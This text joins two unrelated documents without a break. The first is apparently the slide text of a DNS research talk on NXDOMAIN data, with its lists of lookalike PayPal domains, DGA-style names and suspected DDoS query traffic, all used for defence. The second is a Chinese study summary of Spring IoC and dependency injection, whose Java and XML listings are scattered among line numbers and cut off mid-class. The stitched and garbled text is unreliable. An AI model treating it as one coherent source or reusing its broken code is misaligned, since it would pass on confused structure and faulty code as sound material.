Hour, Ch212 and Ch221, During The Data Collection Period (Note Diff Y-Axis Scales) 17 Ch212 (Newly Observed Domains) Ch221 (NXDOMAINS) Hottest 2nd Level Domains From The Full Ch221 Data 440,096,845 ip6.int 121,874,848 spamhaus.org 110,977,781 sophosxl.net 107,574,211 mcafee.com 48,898,438 sophosxl.com 48,469,077 2.ip6.arpa (RIPE NCC) 35,907,658 [large ISP] 33,909,121 spamcop.net 28,726,297 nflxvideo.net 23,916,000 104.in-addr.arpa (ARIN) 21,220,352 barracudacentral.org 19,808,193 surbl.org 18,998,295 intensive.int 17,209,896 sorbs.net 16,007,599 bondedsender.org 14,902,090 10.in-addr.arpa (RFC1918) 14,055,285 [large insurance company] 13,637,914 brightmail.com 13,262,841 habeas.com 12,408,765 isc.org 12,368,645 spameatingmonkey.net 12,284,337 mailspike.net 11,181,446 95.in-addr.arpa (RIPE NCC) 11,058,385 173.in-addr.arpa (ARIN) 10,982,352 17.in-addr.arpa (Apple) [etc] These are NOT domains that the domainers COULD do anything with... 18 Processing The NXDOMAINS • We ended up with ~4.5 billion observations for Ch221. • To be relevant to potential domainers, the 2nd level effective domain cannot be already registered. We need to check to find out if each potential domain is already registered, and that's TOUGH to do if we need to do it for ~4.5 billion domains. • We MUST find ways to reduce the number of NXDOMAINS we need to check. • "Good news:" NXDOMAIN observations have lots of "junk" we can dump.... 19 We Can Drop... • Domains with Bad Characters &(\001r\008\011mk\026bcl08\025 2016-06-07 19:19:22 • Domains with Bad Formats For example, labels that are too long (RFC 1035 2.3.4 says max label length is 63 octets) • Domains with invalid TLDs/no TLD • 00004109a10090400000000000f01fec.local • 000fff11668b-home-controller-300 • What's determinative for valid/invalid TLDs? See http://data.iana.org/TLD/tlds-alpha-by-domain.txt • Duplicates/repetitive hits throughout the hour • 0000.jp had 630 hits during one hour • Reduce the query load by ONLY checking for non-existence of the effective domain the FIRST time we see it... This is an intentional "simplification" -- the domain COULD get registered during the hour if it wasn't already... 20 Ensure Discovered Effective 2LD's Can Be Registered • We need to ensure that an an interested party (such as a domainer) COULD register the effective 2nd-level domain shown in our NXDOMAINs observation, IF they wanted to do so... In some cases: – The TLD might be closed except to some narrowly defined community (example: dot int is reserved for nato.int and similar international treaty organizations, even if it is often used "informally" for "internal" domains) – Some effective 2nd-level domain name might already be registered • We repeat: just because you saw a domain name mentioned in NXD doesn't mean it's registrable for domaining purposes! 21 What Do We Find? Did Domains First Seen in NXDOMAINS Eventually Show Up Registered/Used in NOD? Reduce Scope and Winnow That Data Down... • To keep this manageable, we're actually only going to look at a sample -- an hour's worth of processed NXDOMAIN data. • We'll start with just 50,233,247 Channel 221 observations from a single hour • We used a custom piece of code to remove ip6.int, ip6.arpa, in- addr.arpa, and some other "easy-pickin," "readily-cull-able" stuff, plus some illegal characters (!,#,etc) leaving 36,508,570 observations for further processing. 23 Having processed the entire hour's worth of NXDOMAINS, we ended up keeping 1,662,832 domains... 1,662,832/36,508,570*100=4.5% of the original So the culling process worked, BUT it was slow, taking nearly four DAYS worth of processing time (single threaded) for just one *hour's* worth of Ch221 NXDOMAINS data... We could run more parallel threads to speed that up, obviously. This is a nice example of the classic embarrassingly parallel problem (c.f., https://en.wikipedia.org/wiki/Embarrassingly_parallel ). We can also pre-filter more efficiently to reduce the number of domains to check. 24 Matching NXD Domains Against NOD Data We then read in all 83 hours worth of NOD data, hoping that we'd see some of our 1,662,832 residual NXD domains eventually show up as having been newly registered in NOD. We DID see that pattern, just not a lot. We saw 181 NXDOMAIN domains from CH221 subsequently show up as registered/used in NOD (Ch212). That's not really very many... That may be: • A good sign (people aren't culling names to register from NXDOMAINs), or • It may be a sign that we can't see the phenomena: domains getting registered aren't getting hit within the first few days, or what's getting registered shows up in ZFA before we see it in NOD. 25 Sample Matches With NXD Time, NOD Time 23623viaortega.com 2016/06/07 18:59:04 2016/06/09 22:41:09 2de333fe8d257c3b07b176da743b35d0.org 2016/06/07 19:13:25 2016/06/09 0:13:45 488d9b5889ba01fc4a0015926945c0f5.org 2016/06/07 19:13:25 2016/06/08 0:12:43 4la3shezkt6r.com 2016/06/07 19:13:25 2016/06/08 0:11:57 505hostel.com 2016/06/07 18:59:31 2016/06/10 2:18:21 7wlibclab0py.com 2016/06/07 19:13:25 2016/06/10 0:09:53 7wpy34hu345y.com 2016/06/07 19:13:25 2016/06/08 0:11:57 abreforming.site 2016/06/07 19:00:38 2016/06/10 17:38:34 acardianmc.com 2016/06/07 19:05:04 2016/06/10 22:01:07 acegambling.xyz 2016/06/07 19:07:34 2016/06/07 19:42:07 amerirech.net 2016/06/07 19:23:55 2016/06/08 2:37:33 amountstraight.net 2016/06/07 19:07:04 2016/06/07 21:31:55 arivefloor.net 2016/06/07 19:00:37 2016/06/08 9:31:01 asapnow.xyz 2016/06/07 19:54:17 2016/06/07 21:43:30 aurenol.at 2016/06/07 19:27:13 2016/06/09 13:06:13 azmastergrower.com 2016/06/07 19:04:44 2016/06/07 22:25:08 bartholomewwinthrop.net 2016/06/07 18:59:35 2016/06/08 21:20:52 beatseemorearound.net 2016/06/07 18:59:39 2016/06/09 21:06:54 being.group 2016/06/07 19:04:09 2016/06/08 17:31:40 besttulsacondos.com 2016/06/07 19:38:31 2016/06/07 23:26:28 [etc] ! ! ! ! [GREEN=showed up in NOD Relatively soon after seen in NXDOMAINS] 26 What Else In NXDOMAINS Do We See? Eyeball This List of Top NXDomains (From One Hour's Worth of NXDOMAINs Data): See How Fast It "Tails Off?" 1,842,849 spamhaus.org 1,301,461 sophosxl.net 928,353 mcafee.com 857,609 sophosxl.com [major ISP elided] 426,533 spamcop.net 302,823 barracudacentral.org 274,890 surbl.org 266,065 brightmail.com 263,549 phishmongers.com 225,268 sorbs.net 217,585 intensive.int 205,159 bondedsender.org 192,874 nflxvideo.net 180,838 habeas.com 172,880 mailspike.net 147,415 webcfs00.com 145,143 isc.org 140,217 support-intelligence.net 135,593 spameatingmonkey.net 117,550 beeline.ru 107,424 rackspace.net 97,713 [major university elided] 87,540 com.belkin 85,307 edgecastcdn.net 82,334 surriel.com 74,921 us-east-1.elb.amazonaws.com [etc] 28 High Volume NXD Base Domains Are Pretty Rare... • We go from 1.8 million NXDOMAINS/hour in the case of spamhaus.org, all the way down to less than 75,000/hour in one slide's worth of domains. • The drop off gets even faster after that. See the graph on the next slide, and note the log-linear axes... • Within 179 unique effective 2nd level domains, you're down to only 10,000 NXDOMAINS/hour • Within 1,977 unique effective 2nd level domains, you're down to 1,000 NXDOMAINS/hour • Within 34,025 unique effective 2nd level domains, you're down to 100 NXDOMAINS/hour • That shows that "high volume" NXDOMAINS are pretty tightly distributed – there aren't a lot of them. Most 2nd level effective domains only attract a comparative handful of NXDOMAINs/hr 29 Distribution of Unique Effective 2nd-Level Domains 30 Observations per unique 2nd-level effective TLD post filtering Obs (Y Axis) Row (X Axis) Max 1,842,849 1 1,301,461 2 928,353 3 [...] 107,424 21 [...] 10,055 179 [...] 1,000 1,977 [...] 100 34,025 [...] 10 201,663 [...] Max Rows 2 1,048,576 (2^20th power) Some "False Positives"/"False Negatives" We Noticed, Too [unavailable TLD – probably should filter .int, .mil, .gov, .edu, etc. outright] intensive.int 18,998,295 ladco.int 585,486 axway.int 222,985 corp.int 174,797 pxl.int 156,083 [administratively filtered from DNSDB] us-east-1.elb.amazonaws.com 6,057,472 us-west-2.elb.amazonaws.com 1,778,403 eu-west-1.elb.amazonaws.com 879,902 us-west-1.elb.amazonaws.com 418,916 We must ensure that we filter un-registerable domains (and domains that we administratively filter from DNSDB) out of our NXDOMAIN study data, too. 31 More Unregistered "Top NXDOMAINS" ... But These Are Unlikely to Attract Many "Typos" jjetwqy.com 183,903 lzeaeac.ru 179,271 enyzyeq.ru 179,125 bjqlscz.ru 179,019 qlpyewm.ru 178,846 lnjgukh.ru 178,340 kdcmwuz.ru 178,269 dpyabij.ru 178,221 ryorpcr.ru 177,940 qbasipa.ru 177,872 lutmkwr.ru 177,794 bllpkrp.ru 177,721 jxevrvv.ru 177,551 jzgjldk.ru 177,432 coqqtuy.ru 177,427 othihmm.ru 177,403 uqhbgyb.ru 177,321 klcgduk.ru 176,942 swsad.com 176,671 qeprhiu.ru 176,651 gmdqfbb.ru 176,315 uvttrpa.ru 176,260 mcuyfnh.ru 176,231 rqtcxnh.ru 176,213 usildbq.ru 176,210 mefzluk.ru 175,996 whtjpzk.ru 175,966 cxabxmn.ru 175,908 trawxsf.ru 175,414 hnizvkjk.com 145,641 ovjelvjn.com 145,578 txyuybax.com 145,532 odhpdtov.com 145,459 opfuuixw.com 145,093 etrhqdfy.com 145,076 irpnyppz.ru 144,063 juzviyxs2.ru 143,740 lwdlkcgy.ru 143,570 [etc] 32 Maybe All The "Good NXDOMAINS" Are Already Gone? • If domainers have already been watching DNS traffic, as we hypothesized, we wouldn't EXPECT to see lots of really juicy "typo bait" left just waiting to be registered – it presumably would have already been noticed and monetized • However, have we just managed to find a way to identify DGA domains? Is much of the higher volume NXDOMAIN traffic actually BOT-related? • Rhetorical question: Should we register and sinkhole these and see what hosts check in over time? 33 Could You Make A Living As A Domainer Off "Crumbs?" • Many of the highest volume NXDOMAIN-generating domains appear to be already be registered or impossible to register. • However, could you cover your costs and make a profit by registering lots of lower-popularity domains? • Potentially, but it's not my intent to encourage domaining. We'll let the domainer's figure that out based on what they can figure out a way to see... 34 High Value Brands Seen In NXDOMAIN Traffic "Recon By Fire" • Remember that we also suggested that some popular brands might be targeted for "recon by fire", or probes for unregistered variants of popular names. • Given our limited time, let's just consider one example where NXDOMAINS may still be interesting to security people, as a heads up about what may be coming, or what might make sense to target for a defensive domain name registration. • Let's look for domains related to the substring "payp" 36 Some Selected "payp"NXDOMAIN base domains accont-paypal.com cgq-paypal.com clickpaypal.com email-support- paypal.com es-paypal.com gewerbe-paypal.com guangzhoupaypal.org handbagpaypal.com inbox-paypal.com infoaccountpaypal.tk iservicepaypal.com m-paypale.com my-paypal-account.net mypaypalshopping.tk noreply-paypalmail.com onlinestatus-paypal.com oo-paypol.co.uk papaypals.com paypaal-limitedd.com paypai.com paypail-confirmed.com paypaill.tk paypaiservice.ml paypal-account- recovery.com paypal-accounts.net paypal-auth.com paypal-cgn-bin.com paypal-com-update.cf paypal-confirmations.ga paypal-ee.com paypal-global.ml paypal-inc-secure.com paypal-limitation.gq paypal-mail-secure.com paypal-merchent.com paypal-onlinestatus.com paypal-police.com paypal-securecenter.us paypal-selfhelp.com paypal-service.info paypal-services.ml paypal-sicher.eu paypal-sicherer.de paypal-sichern.eu paypal-sr.com [etc] 37 Some Selected "payp"NXDOMAIN base domains (cont.) paypal-suport.co.uk paypal-unlimidation.com paypal-update-info.eu paypal-update.gq paypal-view.com paypal-webrsc.com paypal-you.com paypal.om paypalclients.net paypall-services.com paypallaskl.com paypalobjetcs.com paypalresolve-login.com paypalservice-info.com paypalsupportss.com paypalsystem.com paypaltojapan.com paypaluddates.com paypalupdate.tk paypalupdateservice.tk paypapcredit.com paypl-connection.com paypl-limit.com payplservices.com redirect-securepaypal.gq scure-paypal-lnc.gq secure-paypai.com secure-paypeil.com securiry-paypal.com securityintlpaypal.com signinpaypal.com signup-paypal.com support-paypali.com update-paypal- accounts.com usa-paypal.com verifity-paypal.com veriification-paypal.com www-paypael.com 38 Some of Those Domains Might Be Innocent • I'd be willing to bet, however, that some of those domains are NOT innocent, and you will be seeing them again, under unsavory circumstances. • Wouldn't you rather know about then in advance? • You should be watching NXDOMAIN traffic! • Are there other security-related reasons why you should be watching NXDOMAINs? • Yes: it might help you spot DDoS attacks. 39 The Distribution of TLDs: Something Odd... An Interesting Anomaly: Volume By TLDs in Ch221 59,233,002 co 58,678,751 rs 57,628,777 il 15,601,516 com [Baseline for gTLDs] 5,283,561 dlink [An INVALID TLD] 4,122,552 ru 2,019,325 uk 1,936,868 home 1,252,101 net 798,756 org 590,990 info 579,536 lan 554,598 us 553,504 localnet 470,943 cn 441,932 ca 400,226 de 379,458 asus 363,750 biz 265,937 xn--p1ai 254,002 eu 229,278 fr 228,079 ampedwireless 226,923 nl 199,791 cisco 197,359 ch 169,027 br 151,683 at 148,371 be 141,897 au 138,393 ua [etc] 41 Surprising To See .rs, .co, and .il As The Top TLDs • Generally speaking, we'd not expect those particular ccTLDs to be the top TLDs seen in the NXDOMAINs channel (and by a substantial margin at that). • Farsight does not disclose the geographical distribution of its global sensors, however we can say that there is not a particularly dense deployment of sensors in Serbia, Colombia or Israel that might account for this sort of skewed domain distribution. • Closer inspection of the traffic makes it clear that this is likely not organic traffic primarily associated with end-user errors; potentially that traffic looks like DDoS-related to us... 42 Examples of Some Unusual .rs Domains We Saw Vast majority of our .rs domains were seen only once, and looked like... 201ny42yvx5kvlmiviejxqgrtdei1fmrvmbrmcgfrcwwrtrrdcciim5bcw.rs 201nze3wjyt1h28hvakzssd9h5yib7edvaj5px7koxidc560knocpcbngxpap.rs 201oqdcegyhfr8jlaegdan8d0ytaiim1rgjnakrljqsybjggnicmeduhdmb5wow.rs 201phnf8wqgx2pj2zyr8tziamogejkxkcq4jikqrlxulqptzewevge9zio6lgln.rs [etc] or 20160224104304.rs. 20160224104446.rs. 20160224104659.rs. 20160224104453.rs. [etc] 43 Can We Tell Who's Being Targeted by That Traffic? • Because we collect above the recursive resolver, as a general rule, you cannot see an individual end-user's system's IP address. You cam, however, see the large recursive resolvers that may be answering on his or her behalf as an apparent query source. • In this case, however, the condensed format that SIE NXDOMAINS employs does not include the apparent query source, so you can't localize this potential attack traffic even to the large recursive resolver contributing the data. • The recursive resolver seen making the query IS available in another SIE Channel, Channel 220, "DNS Errors," however our terms of service preclude you from bothering (or disclosing the apparent identify of) our sensor operators. 44 Conclusion Key Takeaways 1) NXDOMAINS may not be particularly fruitful for frontrunners (must admit, that doesn't exactly make me sad...) 2) However, we did find out that NXDOMAINs may be terrific when it comes to finding: – Potentially-suspicious DGA-related domains – Domains potentially involved in distributed denial of service attacks, and – Potential phishing or mark-infringing sites being reconnoitered prior to an attack 3) You should be paying attention to domains that don't resolve 4) You can probably build far better tools to grind NXDOMAINs data – maybe you'd like to give it a try? 46 Questions? • Thanks for the chance to talk today! • Are there any questions? • Contact information: Dr. Paul Vixie [email protected] 47
pdf
Spring 四天学习总结 ⼀、Spring概述 Spring 是分层的 Java SE/EE 应⽤ full-stack 轻量级开源框架,以 IoC(Inverse Of Control: 反转控制)和 AOP(Aspect Oriented Programming:⾯向切⾯编程)为内核,提供了展现层 Spring MVC 和持久层 Spring JDBC 以及业务层事务管理等众多的企业级应⽤技术,还能整合 开源世界众多 著名的第三⽅框架和类库,逐渐成为使⽤最多的 Java EE 企业应⽤开源框架。 主要特点如下: ①轻量级IoC容器。IoC容器是⽤于管理所有bean的声明周期,是Spring的核⼼组件。在此基础 之上,开发者可以⾃⾏选择要集成的组件,如消息传递、事务管理、数据持久化及Web组件 等。 ②采⽤AOP编程⽅式。Spring推崇使⽤AOP编程⽅式。AOP( Aspect Orier由dProgramming, ⾯向切⾯编程)的⽬标与OOP( Object Oriented Programming,⾯向对象编程)的⽬标并没有 不同,都是为了减少重复和专注于业务。 ③⼤量使⽤注解。Spring提供了⼤量的注解,⽀持声明式的注⼊⽅式,极⼤地简化了配置。 ④避免重复“造轮⼦”。Spring集成了⼤量市⾯上成熟的开源组件,站在巨⼈的肩膀上,这样既 增强了Spring的功能,⼜避免了重复“造轮⼦ ⼆、IOC的概念及作⽤ 1.耦合 耦合:程序间的依赖关系,包括类之间的依赖以及⽅法间的依赖 解耦:降低程序间的依赖关系 实际开发中:编译期不依赖,运⾏时才依赖 解耦的思路: 1.使⽤反射创建对象,避免使⽤new关键字 2.通过读取配置⽂件来获取要创建的对象全限定类名 如图实现了初步的解耦 2.BeanFacktor ⼯⼚模式解耦 创建了⼀个集中管理Bean的地⽅,且当中存在Map类型的 beans⽤来盛放所有的bean(这个 Map为bean的容器),且通过读取配置⽂件中配置的内容,在项⽬启动时创建对象,解决了bean 创建多次问题 /** 1 * 一个创建Bean对象的工厂 2 * 3 * Bean:在计算机英语中,有可重用组件的含义。 4 * JavaBean:用java语言编写的可重用组件。 5 * javabean > 实体类 6 * 7 * 它就是创建我们的service和dao对象的。 8 * 9 * 第一个:需要一个配置文件来配置我们的service和dao 10 * 配置的内容:唯一标识=全限定类名(key=value) 11 * 第二个:通过读取配置文件中配置的内容,反射创建对象 12 * 13 * 我的配置文件可以是xml也可以是properties 14 */ 15 public class BeanFactory { 16 //定义一个Properties对象 17 private static Properties props; 18 19 //定义一个Map,用于存放我们要创建的对象。我们把它称之为容器 20 private static Map<String,Object> beans; 21 22 //使用静态代码块为Properties对象赋值 23 static { 24 try { 25 //实例化对象 26 props = new Properties(); 27 //获取properties文件的流对象 28 InputStream in = BeanFactory.class.getClassLoader().getResourceAsStream("bean.properties"); 29 props.load(in); 30 //实例化容器 31 beans = new HashMap<String,Object>(); 32 //取出配置文件中所有的Key 33 Enumeration keys = props.keys(); 34 //遍历枚举 35 while (keys.hasMoreElements()){ 36 //取出每个Key 37 String key = keys.nextElement().toString(); 38 //根据key获取value 39 String beanPath = props.getProperty(key); 40 //反射创建对象 41 Object value = Class.forName(beanPath).newInstance(); 42 //把key和value存入容器中 43 beans.put(key,value); 44 } 45 }catch(Exception e){ 46 throw new ExceptionInInitializerError("初始化properties失 败!"); 47 } 48 } 49 50 /** 51 * 根据bean的名称获取对象 52 * @param beanName 53 * @return 54 */ 55 public static Object getBean(String beanName){ 56 return beans.get(beanName); 57 } 58 59 /** 60 * 根据Bean的名称获取bean对象 61 * @param beanName 62 * @return 63 64 public static Object getBean(String beanName){ 65 Object bean = null; 66 try { 67 String beanPath = props.getProperty(beanName); 68 // System.out.println(beanPath); 69 bean = Class.forName(beanPath).newInstance();//每次都会调用默认 构造函数创建对象 70 }catch (Exception e){ 71 e.printStackTrace(); 72 } 73 return bean; 74 }*/ 75 } 76 bean.properties 3.控制反转 上述例⼦通过⼯⼚模式创建bean,⽽不是通过new,就实现了控制反转。我们在获取对象时, 都是采⽤ new 的⽅式。是主动的。 现在我们获取对象时有⼯⼚为我们查找或者创建对象。是被 动的。此为控制反转。 IoC的应⽤有以下两种设计模式。 ①反射:在运⾏状态中,根据提供的类的路径或类名,通过反射来动态地获取该类的所有属性和 ⽅法。 ②⼯⼚模式:把IoC容器当作⼀个⼯⼚,在配置⽂件或注解中给出定义,然后利⽤反射技术,根 据给出的类名⽣成相应的对象。对象⽣成的代码及对象之间的依赖关系在配置⽂件中定义,这样 就实现了解梢。 4.使⽤ spring 的 IOC 解决程序耦合 4.1 实现demo ⾸先通过ApplicationContext 根据bean.xml获取容器对象,然后根据bean.xml⾥配置的bean获 取想要的bean对象 public class Client { 1 2 /** 3 * 获取spring的Ioc核心容器,并根据id获取对象 4 * 5 * 6 * 核心容器的两个接口引发出的问题: 7 * ApplicationContext: 单例对象适用 采用此接口 8 * 它在构建核心容器时,创建对象采取的策略是采用立即加载的方式。也就是说, 只要一读取完配置文件马上就创建配置文件中配置的对象。 9 * 10 * BeanFactory: 多例对象使用 11 * 它在构建核心容器时,创建对象采取的策略是采用延迟加载的方式。也就是说, 什么时候根据id获取对象了,什么时候才真正的创建对象。 12 * @param args 13 */ 14 public static void main(String[] args) { 15 //1.获取核心容器对象 16 bean.xml 4.2 BeanFactory 和 ApplicationContext 的区别 BeanFactory 才是 Spring 容器中的顶层接⼝。 ApplicationContext 是它的⼦接⼝。 BeanFactory 和 ApplicationContext 的区别: 创建对象的时间点不⼀样。 ApplicationContext:只要⼀读取配置⽂件,默认情况下就会创建对象。 BeanFactory:什么使 ⽤什么时候创建对象。  ApplicationContext ac = new ClassPathXmlApplicationContext("bean.xml"); 17 // ApplicationContext ac = new FileSystemXmlApplicationContext("C:\\Users\\zhy\\Desktop\\bean.xml"); 18 //2.根据id获取Bean对象 19 IAccountService as = (IAccountService)ac.getBean("accountService"); 20 IAccountDao adao = ac.getBean("accountDao",IAccountDao.class); 21 22 System.out.println(as); 23 System.out.println(adao); 24 as.saveAccount(); 25 26 27 //--------BeanFactory---------- 28 // Resource resource = new ClassPathResource("bean.xml"); 29 // BeanFactory factory = new XmlBeanFactory(resource); 30 // IAccountService as = (IAccountService)factory.getBean("accountService"); 31 // System.out.println(as); 32 } 33 } 34 4.3 ApplicationContext 有三个常⽤的⼦类 ClassPathXmlApplicationContext:它可以加载类路径下的配置⽂件,要求配置⽂件必须在类 路径下。不在的话,加载不了。(更常⽤) FileSystemXmlApplicationContext:它可以加载磁盘任意路径下的配置⽂件(必须有访问权限) AnnotationConfigApplicationContext:它是⽤于读取注解创建容器的 4.4 IOC 中 bean 标签和管理对象细节 4.5 bean 的作⽤范围和⽣命周期 4.6 实例化 Bean 的三种⽅式  第⼀种⽅式: 使⽤默认⽆参构造函数 在默认情况下: 它会根据默认⽆参构造函数来创建类对象。如果 bean 中没有默认⽆参构造函 数,将会创建失败。 第⼆种⽅式:spring 管理静态⼯⼚-使⽤静态⼯⼚的⽅法创建对象 第三种⽅式:spring 管理实例⼯⼚-使⽤实例⼯⼚的⽅法创建对象 5.依赖注⼊ 依赖注入: 1 Dependency Injection 2 IOC的作用: 3 降低程序间的耦合(依赖关系) 4 依赖关系的管理: 5 以后都交给spring来维护 6 在当前类需要用到其他类的对象,由spring为我们提供,我们只需要在配置文件中说明 7 依赖关系的维护: 8 就称之为依赖注入。 9 依赖注入: 10 能注入的数据:有三类 11 基本类型和String 12 其他bean类型(在配置文件中或者注解配置过的bean) 13 5.1 使⽤构造函数注⼊ 5.2 使⽤set⽅法注⼊ 复杂类型/集合类型 14 注入的方式:有三种 15 第一种:使用构造函数提供 16 第二种:使用set方法提供 17 第三种:使用注解提供(明天的内容) 18 <!--构造函数注入: 1 使用的标签:constructor-arg 2 标签出现的位置:bean标签的内部 3 标签中的属性 4 type:用于指定要注入的数据的数据类型,该数据类型也是构造函数中某个或某些参 数的类型 5 index:用于指定要注入的数据给构造函数中指定索引位置的参数赋值。索引的位置是 从0开始 6 name:用于指定给构造函数中指定名称的参数赋值 常用的 7 =============以上三个用于指定给构造函数中哪个参数赋值 =============================== 8 value:用于提供基本类型和String类型的数据 9 ref:用于指定其他的bean类型数据。它指的就是在spring的Ioc核心容器中出现过 的bean对象 10 11 优势: 12 在获取bean对象时,注入数据是必须的操作,否则对象无法创建成功。 13 弊端: 14 改变了bean对象的实例化方式,使我们在创建对象时,如果用不到这些数据,也必须 提供。 15 --> 16 <bean id="accountService" class="com.itheima.service.impl.AccountServiceImpl"> 17 <constructor-arg name="name" value="泰斯特"></constructor-arg> 18 <constructor-arg name="age" value="18"></constructor-arg> 19 <constructor-arg name="birthday" ref="now"></constructor-arg> 20 </bean> 21 22 <!-- 配置一个日期对象 --> 23 <bean id="now" class="java.util.Date"></bean> 24 <!-- set方法注入 更常用的方式 1 涉及的标签:property 2 出现的位置:bean标签的内部 3 标签的属性 4 name:用于指定注入时所调用的set方法名称 5 value:用于提供基本类型和String类型的数据 6 5.3 复杂类型的注⼊/集合类型的注⼊ ref:用于指定其他的bean类型数据。它指的就是在spring的Ioc核心容器中出现过 的bean对象 7 优势: 8 创建对象时没有明确的限制,可以直接使用默认构造函数 9 弊端: 10 如果有某个成员必须有值,则获取对象是有可能set方法没有执行。 11 --> 12 <bean id="accountService2" class="com.itheima.service.impl.AccountServiceImpl2"> 13 <property name="name" value="TEST" ></property> 14 <property name="age" value="21"></property> 15 <property name="birthday" ref="now"></property> 16 </bean> 17 <!-- 复杂类型的注入/集合类型的注入 1 用于给List结构集合注入的标签: 2 list array set 3 用于个Map结构集合注入的标签: 4 map props 5 结构相同,标签可以互换 6 --> 7 <bean id="accountService3" class="com.itheima.service.impl.AccountServiceImpl3"> 8 <property name="myStrs"> 9 <set> 10 <value>AAA</value> 11 <value>BBB</value> 12 <value>CCC</value> 13 </set> 14 </property> 15 16 <property name="myList"> 17 <array> 18 <value>AAA</value> 19 <value>BBB</value> 20 <value>CCC</value> 21 </array> 22 </property> 23 24 <property name="mySet"> 25 <list> 26 <value>AAA</value> 27 <value>BBB</value> 28 <value>CCC</value> 29 </list> 30 </property> 31 32 三、基于注解的IOC配置 习基于注解的 IoC 配置,⼤家脑海⾥⾸先得有⼀个认知,即注解配置和 xml 配置要实现的功能 都是⼀样 的,都是要降低程序间的耦合。只是配置的形式不⼀样。 关于实际的开发中到底使⽤ xml还是注解,每家公司有着不同的使⽤习惯。所以这两种配置⽅式都需要掌握。 谁知道审计的 时候是什么⻤代码呢~ 1.常⽤注解 1.1 ⽤于创建对象的 他们的作⽤就和在XML配置⽂件中编写⼀个<bean>标签实现的功能是⼀样的 Component: * 作⽤:⽤于把当前类对象存⼊spring容器中 * 属性: value:⽤于指定bean的id。当我们不写时,它的默认值是当前类名,且⾸字⺟ 改⼩写。 Controller:⼀般⽤在表现层 Service:⼀般⽤在业务层 Repository:⼀般⽤在持久层 以上三个注解他们的作⽤和属性与Component是⼀模⼀样。 他们三个是spring框架为我们提供明确的三层使⽤的注解,使我们的三层对象更加清晰 1.2 ⽤于注⼊数据的 他们的作⽤就和在xml配置⽂件中的bean标签中写⼀个<property>标签的作⽤是⼀样的 Autowired: 作⽤:⾃动按照类型注⼊。只要容器中有唯⼀的⼀个bean对象类型和要注⼊的变量类型匹配, 就可以注⼊成功 <property name="myMap"> 33 <props> 34 <prop key="testC">ccc</prop> 35 <prop key="testD">ddd</prop> 36 </props> 37 </property> 38 39 <property name="myProps"> 40 <map> 41 <entry key="testA" value="aaa"></entry> 42 <entry key="testB"> 43 <value>BBB</value> 44 </entry> 45 </map> 46 </property> 47 </bean> 48 * 曾经XML的配置: 1 * <bean id="accountService" class="com.itheima.service.impl.AccountServiceImpl" 2 * scope="" init-method="" destroy-method=""> 3 * <property name="" value="" | ref=""></property> 4 * </bean> 5 如果ioc容器中没有任何bean的类型和要注⼊的变量类型匹配,则报错。 如果Ioc容器中有多个类型匹配时: * 出现位置: * 可以是变量上,也可以是⽅法上 * 细节: * 在使⽤注解注⼊时,set⽅法就不是必须的了。 Qualifier: 作⽤:在按照类中注⼊的基础之上再按照名称注⼊。它在给类成员注⼊时不能单独使⽤。但是在 给⽅法参数注⼊时可以(稍后我们讲) 属性: * value:⽤于指定注⼊bean的id。 Resource 作⽤:直接按照bean的id注⼊。它可以独⽴使⽤ 属性: * name:⽤于指定bean的id。 以上三个注⼊都只能注⼊其他bean类型的数据,⽽基本类型和String类型⽆法使⽤上述注解实 现。 另外,集合类型的注⼊只能通过XML来实现。 Value 作⽤:⽤于注⼊基本类型和String类型的数据 属性: * value:⽤于指定数据的值。它可以使⽤spring中SpEL(也就是spring的el表达式) * SpEL的写法:${表达式} * 1.3 ⽤于改变作⽤范围的 他们的作⽤就和在bean标签中使⽤scope属性实现的功能是⼀样的 Scope 作⽤:⽤于指定bean的作⽤范围 属性: value:指定范围的取值。常⽤取值:singleton prototype 1.4 和⽣命周期相关 了解 他们的作⽤就和在bean标签中使⽤init-method和destroy-methode的作⽤是⼀样的 PreDestroy 作⽤:⽤于指定销毁⽅法 PostConstruct 作⽤:⽤于指定初始化⽅法 1.5 例⼦ 2.Spring 注解和 XML 对⽐ @Service("accountService") 1 //@Scope("prototype") 2 public class AccountServiceImpl implements IAccountService { 3 4 // @Autowired 5 // @Qualifier("accountDao1") 6 @Resource(name = "accountDao2") 7 private IAccountDao accountDao = null; 8 9 @PostConstruct 10 public void init(){ 11 System.out.println("初始化方法执行了"); 12 } 13 14 @PreDestroy 15 public void destroy(){ 16 System.out.println("销毁方法执行了"); 17 } 18 19 public void saveAccount(){ 20 accountDao.saveAccount(); 21 } 22 } 23 3.抛弃bean.xml 使⽤Configuration ApplicationContext @Configuration、@ComponentScan、@Import、@PropertySource package config; 1 2 import org.springframework.context.annotation.ComponentScan; 3 import org.springframework.context.annotation.Import; 4 import org.springframework.context.annotation.PropertySource; 5 6 /** 7 * 该类是一个配置类,它的作用和bean.xml是一样的 8 * spring中的新注解 9 * Configuration 10 * 作用:指定当前类是一个配置类 11 * 细节:当配置类作为AnnotationConfigApplicationContext对象创建的参数时,该 注解可以不写。 12 * ComponentScan 13 * 作用:用于通过注解指定spring在创建容器时要扫描的包 14 * 属性: 15 * value:它和basePackages的作用是一样的,都是用于指定创建容器时要扫描 的包。 16 * 我们使用此注解就等同于在xml中配置了: 17 * <context:component-scan base- package="com.itheima"></context:component-scan> 18 * Bean 19 * 作用:用于把当前方法的返回值作为bean对象存入spring的ioc容器中 20 * 属性: 21 * name:用于指定bean的id。当不写时,默认值是当前方法的名称 22 * 细节: 23 * 当我们使用注解配置方法时,如果方法有参数,spring框架会去容器中查找有没 有可用的bean对象。 24 * 查找的方式和Autowired注解的作用是一样的 25 * Import 26 * 作用:用于导入其他的配置类 27 * 属性: 28 * value:用于指定其他配置类的字节码。 29 * 当我们使用Import的注解之后,有Import注解的类就父配置类,而导 入的都是子配置类 30 * PropertySource 31 * 作用:用于指定properties文件的位置 32 * 属性: 33 * value:指定文件的名称和路径。 34 * 关键字:classpath,表示类路径下 35 */ 36 //@Configuration 37 @ComponentScan("com.itheima") 38 @Import(JdbcConfig.class) 39 @PropertySource("classpath:jdbcConfig.properties") 40 public class SpringConfiguration { 41 } 42 package config; 1 2 import com.mchange.v2.c3p0.ComboPooledDataSource; 3 import org.apache.commons.dbutils.QueryRunner; 4 import org.springframework.beans.factory.annotation.Qualifier; 5 import org.springframework.beans.factory.annotation.Value; 6 import org.springframework.context.annotation.Bean; 7 import org.springframework.context.annotation.Scope; 8 9 import javax.sql.DataSource; 10 11 /** 12 * 和spring连接数据库相关的配置类 13 */ 14 public class JdbcConfig { 15 16 @Value("${jdbc.driver}") 17 private String driver; 18 19 @Value("${jdbc.url}") 20 private String url; 21 22 